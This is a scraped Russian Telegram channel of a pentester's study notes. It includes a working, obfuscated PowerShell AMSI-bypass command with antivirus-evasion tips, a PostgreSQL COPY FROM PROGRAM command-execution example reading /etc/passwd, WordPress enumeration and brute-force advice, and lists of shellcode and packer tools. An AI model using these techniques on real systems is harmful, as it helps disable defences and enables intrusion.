Phoenix Nest


Гео и язык канала: не указан, не указан
Категория: не указана


Let's learn computer science together!

Связанные каналы

Гео и язык канала
не указан, не указан
Категория
не указана
Статистика
Фильтр публикаций




№9 Раз уже зашла речь про обфускацию, поделюсь парой рабочих способов обхода проверок кода. Для примера возьмем команду PowerShell, которая отключает AMSI (Механизм защиты от вредоносных програм - не позволяет запускать PS скрпиты, которые могут быть вредоносными).
Это можно сделать следующей командой:
PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Но при попытке исполнения сама команда тоже будет проверена и помечена как вредоносная. Обычно AV детектирует вредоносные компоненты интерпретируемого кода по статическим сигнатурам. Например, если он встречает строку ("AmsiUtils") - команда будет помечена как вредоносная, поскольку на нее уже есть сигнатура. Но что если строка мы разобьем строку на две отдельные, и потом сконкатенируем их обратно ("Ams" + "iUtils")? AV проверит две строки, которые вероятно отсутствуют в базе и пропустит такой код.
Есть и другие способы:
* Разбиение строки с последующей комбинацией ('co'+'ffe'+'e')
* Перестановка частей строки ('{1}{0}' -f 'ffee','co')
* Вставка пробелов ( 'Ne' + 'w-Ob' + 'ject')
* Вставка бэктиков ("d`own`LoAd`Stri`ng")
* Рандомный регистр ("dOwnLoAdsTRing")
* Вынесение части команды в переменную ($Val="Get-Content" ; $Val('file.txt'))
В итоге, применив немного фантазии и скомбинировав разные техники, можно добится очень неплохого результата и обойти проверки.
При написании, хорошая идея - разбить команду на составные части и добавлять по кусочку, наблюдая за реакцией AV
Ах да, в итоге у меня получилась вот такая симпатичная команда =)
PS> $Val="SetValue";$ams='{1}{0}{2}'-f'Amsi','System.Management.Automation.','Utils';[Ref].Assembly.GetType($ams).GetField('a`mS'+'iIn'+ 'iTFa' + 'iL`ed','nOn' + 'Pu`BL`ic,sTaTic').$Val($null,$true)


№8 BTW, пока не забыл, где и что лежит. Подборочка репозиториев и прочих материалов, которые были полезны при изучении темы написания кастомных пейлоадов
1. Workshop по кастомным бэкдорам на C# с DefСon 27
2. Таблица системных вызовов под Linux x86 64
3. Энкодер шелл-кода от Arno0x (2016)
4. ConfuserEx - популярный протектор для .NET приложений (2016)
5. Mono - кроссплатформенная работа с .NET приложениями
6. PEzor - очень мощный опенсорсный пакер и генератор шелл-кода (2022!)
7. Ресерч от создателя PEzor, как он пришел к написанию инструмента
8. Pentester Promiscous Notebook (PPN) - уже прикреплял постом выше, но акцентирую внимание, что в материале есть отдельный раздел по разработке инструментов
9. Donut - еще один генератор шелл-кода, который умеет в обфускацию. Очень сильный инструмент (2019) + мануал
10. Shikata ga nai (仕方がない) - в представлении думаю не нуждается. Автор добавил несколько улучшений, научил работать с x64 и переписал инструмент под go
11. Jotti - сервис проверки файлов антивирусными решениями (в отличии от VirusTotal - не сливает сэмплы вендорам)
12. pe_to_shellcode - конвертер PE executable в шелл-код
13. Очень подробный пример внедрения шелл-кода из бинарника в кастомное приложение
14. Hells Gate - интересный концепт. Сильно еще не изучал, но идея в использовании self-resolved syscalls, что позволяет отойти от использования статических элементов. Подробнее - тут
15. SharpKatz - порт мимикатза под шарпы. точка.
16. Структура PE исполняемого файла


Layered Obfuscation Taxonomy.pdf
2.5Мб
№7. Кажется я залез в очень глубокий rabbit hole с этим проектом. Опустить все классные и неочевидные вещи, которые я узнал про структуру исполняемых файлов - я чуть подробне изучил принципы сигнатурного анализа, используемого различными EDR и AV системами. В итоге пришлось подойти к теме, которуя я всячески старался избежать - обфускация кода. Это исследование может занять еще пару дней - как минимум, но чувствую, это ой как сильно пригодится, когда я дойду до упаковки PowerShell скриптов.
А пока что могу только дать положительную рецензию на комнату TryHackMe - Obfuscation Principles (как и на весь трек Host Evasion в целом). Ну и прикреплю основательный ресерч как раз по этой теме - Layered Obfuscation Taxonomy.


№6. Последние 3 дня развлекаюсь с исполнением кода в памяти. Написал небольшой скрипт, который генерирует бинарники с зашифрованным содержимым. До запуска программы основная нагрузка остается в нечитаемом виде. В момент исполнения - она расшифровывается и внедряется напрямую в память процесса. Сейчас осталось дописать функционал для работы с готовыми исполняемыми файлами на входе.
Кстати, нашел интересный ресурс по теме, может пригодится https://ppn.snovvcrash.rocks/red-team/maldev/code-injection






№5. Ого, уже пролетел целый месяц! Надо бы чего-нибудь запостить) Я наконец получил очки nreal air и начал активно тестировать технологию дополненной реальности в повседневной жизни. На этой базе собрал вполне юзабельный портативный сетап: Очки подключаются к смартфону как переферия дял samsung DeX (десктопная оболочка под андроид), управление осуществляется через карманную Bluetooth клавиатуру Rii i4. Две недели тестов показали, что этим реально удобно пользоваться в дороге =)
Окей, а почему нельзя просто залипать в телефон, как все нормальные люди?
В первую очередь - наличие 121 дюймового виртуального Full HD монитора, который всегад перед глазами. Горизонтальная ориентация действительно стала гейм-ченджером в контектсе удаленного упарвления - работать с машинами по rdp можно без оглядки на типовые проблемы мобильных клиентво (pop-up клавиатура, захват курсора и тп).
Во вторых - многозадачность выходит на новый уровень. Я из тех людей, которые любят открывать по 4 приложения на экран и не тратить время на переключение приложений. С таким сетапом я могу продолжать работать в привычном режиме без привязки к громоздкому оборудованию
В третьих - портативность. В час пик транспорт набивается под завязку и вариант достать ноутбук уже не кажется физически возможным. С очками же тебе совершенно не нужно дополнительное пространство. Экран будет отрисован прямо поверх людей, стен или на что тебе нравится залипать. А еще можно открыть приложение только на часть экрана - и получится информативный HUD (а-ля как у железного человека), при этом ты все еще видишь все, что происходит вокруг

В итоге конфигурация превзошла все мои ожидания! Я предполагал, что это превратится в дорогую игрушку, которая будет просто пылится на полке. На практике я уже выиграл более 20 часов продуктивного рабочего времени =)
The Future is already Here!


№4. Между делом, хотелось отметить один интересный подход при исследовании внешнего периметра. Часто во время скана можно встретить большое число висящих сайтов разного назначения. Порой их количество может исчисляться тысячами. Понятное дело, часть сервисов можно +/- однозначно идентефицировать флагами нмапа -sV или -A. Но назначение остальных страниц придется выяснять руками...

Или нет?
Впервые я столкнулся с этой идеей в официальном мануале к OSCP (PWK-v2). В главе по баш-скриптингу прелагалось написать тулзу, которая собирала бы скриншоты со всех открытых 80 портов и вставляла их на одну html страничку. Сразу наглядно видно, где и что расположено.
#!/bin/bash
mkdir /tmp/webparse
for ip in $(cat $1 | grep 80 | grep -v "Nmap" | awk '{print $2}'); do cutycapt --url=$ip --out=/tmp/webparse/$ip.png;done
echo "" > web.html
ls -1 /tmp/webparse/*.png | awk -F : '{ print $1":\n"}' >> web.html
echo "" >> web.html

Я несколько месяцев пользовался этим скриптом, пока однажды мне не рассказали про тулзу aquatone (https://github.com/michenriksen/aquatone). Что она делает? Все то-же самое, только быстрее, лучше и умнее) У нее есть много полезных фич, например аггрегация скринов по схожести или же по используемым технологиям. На выходе мы все так-же получаем отчет, но в гораздо более удобном и подробном формате.
Для себя отметил, что надо почаще пользоваться подобными средствами втоматизации при работе по внешке. Может кому-то тоже пригодится)


Видео недоступно для предпросмотра
Смотреть в Telegram


А пока - минутка биохакинга)


Привет! Давненько ничего не постил, надо исправлять =) На выходных постараюсь расписать способ инъекции шелл-кода в процесс через вызовы WinApi. Штука классная, может спрятать метерпретер от антивируса =)


№3. Сегодня расскажу о своей любимой уязвимости. Postgresql COPY FROM PROGRAM. Суть в том, что COPY может копировать не только записи в базе данных, но и вывод команд - читай RCE.
Синтаксис примерно такой

=# CREATE TABLE cmd_exec(cmd_output text);
=# COPY cmd_exec FROM PROGRAM 'cat /etc/passwd';
=# SELECT * FROM cmd_exec;

Если таблица переполнилась выводом - её можно очистить

=# DELETE FROM cmd_exec;


№2. Кроме того мне довелось потрогать тачку, у которой веб был написан на WordPress. Для себя вспомнил, что на данной cms можно проводить энумерации пользователей:
* В директории /wp-json/wp/v2/users представлен xml файл, содержащий данные об "авторах". Среди прочего есть поля "name" и "slug". В них содержатся имена пользователей
* По тем или иным причинам - не все из них подойдут для авторизации. К счастью и это можно проверить, ведь при попытке авторизации в ошибке будет чётко написано, существует ли такое имя пользователя или ошибка только в пароле.
* Ещё один потенциальный вектор для энумерации - xmlrpc.php. Когда WordPress только зарождался - скорость соединения не позволяла оперативно редактировать контент на сайте, поэтом было написано десктопное приложение, которое загружало изменения как раз через xmlrpc. По сути - это инструмент для удалённого администрирования, который включён во многих системах по умолчанию. В случае, если у нас ещё нет учётных даных к сервису, можно попробовать сбрутить пароль к одному из найденных ранее пользователей как раз через xmlrpc. Для этого даже есть модуль в msf


№1. На выходных вернулся к исследованию беспроводных сетей. Обычно я использую wifite2 в качестве goto инструмента из-за хорошего сочетания интерфейса, функционала и автоматизации (выбрал, поставил, забыл). Однако на моем опыте работа с wps через wifite была крайне не результативной.
В качестве альтернативы я остановился на инструменте airgeddon. Важно установить все дополнительные пакеты для проведения дополнительных атак.
В чем плюсы инструмента?
1. При сканировании диапазона подсвечивается вендор оборудования, что позволяет определять старые модели Ralink и RealtekS - на них чаще всего можно провести упешные атаки.
2. Для конкретной точки можно выбирать проводимые атаки в речном режиме без необходимости перезапуска инструмнта. Это может быть полезно, так как иногда атаки с помощью reaver и bully могут приносить разные результаты
3. Атака null pin, помимо встроенных пинов умеет генерировать пин на основе данных с сетевого оборудования


Привет! Решил опробовать ещё один способ организации информации. Одно дело понять что-то самому, другое - объяснить это другому. Следуя этой логике, я буду записывать сюда свои наблюдения, исследования или просто любую информацию, которая покажется мне интересной



Показано 17 последних публикаций.

7

подписчиков
Статистика канала